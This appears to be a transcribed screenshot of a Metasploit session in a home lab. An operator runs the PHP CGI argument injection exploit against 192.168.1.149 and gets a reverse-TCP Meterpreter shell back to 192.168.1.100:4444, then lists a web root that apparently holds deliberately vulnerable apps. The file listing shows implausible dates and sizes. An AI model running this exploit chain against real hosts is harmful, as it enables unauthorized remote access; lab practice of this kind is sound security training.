Firefox ESR
Browse the World Wide Web

```
Metasploit tip: Use sessions -1 to interact with the
last opened session
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search php_cgi_arg

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/multi/http/php_cgi_arg_injection  2012-05-03       excellent  Yes    PHP CGI Argument Injection


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/php_cgi_arg_injection

msf6 > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   PLESK       false            yes       Exploit Plesk
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                       yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                    no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING  0               yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                        no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.100    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(multi/http/php_cgi_arg_injection) >
```

dan@Kali: ~

File Actions Edit View Help

```
   PLESK       false           yes       Exploit Plesk
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT       80              yes       The target port (TCP)
   SSL         false           no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                   no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING 0               yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                       no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.100    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(multi/http/php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] Sending stage (39927 bytes) to 192.168.1.149
[*] Meterpreter session 1 opened (192.168.1.100:4444 → 192.168.1.149:40125) at 2023-11-08 18:21:34 +0100

meterpreter > ls
Listing: /var/www
==================

Mode              Size          Type  Last modified              Name
----              ----          ----  -------------              ----
041777/rwxrwxrwx  17592186048512  dir   182042302250-03-10 16:10:13 +0100  dav
040755/rwxr-xr-x  17592186048512  dir   182042482449-05-12 17:17:21 +0200  dvwa
100644/rw-r--r--  3826815861627   fil   182042311505-02-18 00:13:29 +0100  index.php
040755/rwxr-xr-x  17592186048512  dir   181964996940-05-31 20:38:18 +0200  mutillidae
040755/rwxr-xr-x  17592186048512  dir   181964937872-02-08 19:03:20 +0100  phpMyAdmin
100644/rw-r--r--  81604378643     fil   173039983614-08-05 08:08:28 +0200  phpinfo.php
040755/rwxr-xr-x  17592186048512  dir   181965051925-08-30 19:04:46 +0200  test
040775/rwxrwxr-x  87960930242560  dir   173083439924-11-22 13:50:32 +0100  tikiwiki
040775/rwxrwxr-x  87960930242560  dir   173040024853-07-12 00:58:19 +0200  tikiwiki-old
040755/rwxr-xr-x  17592186048512  dir   173046477589-12-24 22:59:26 +0100  twiki

meterpreter >
```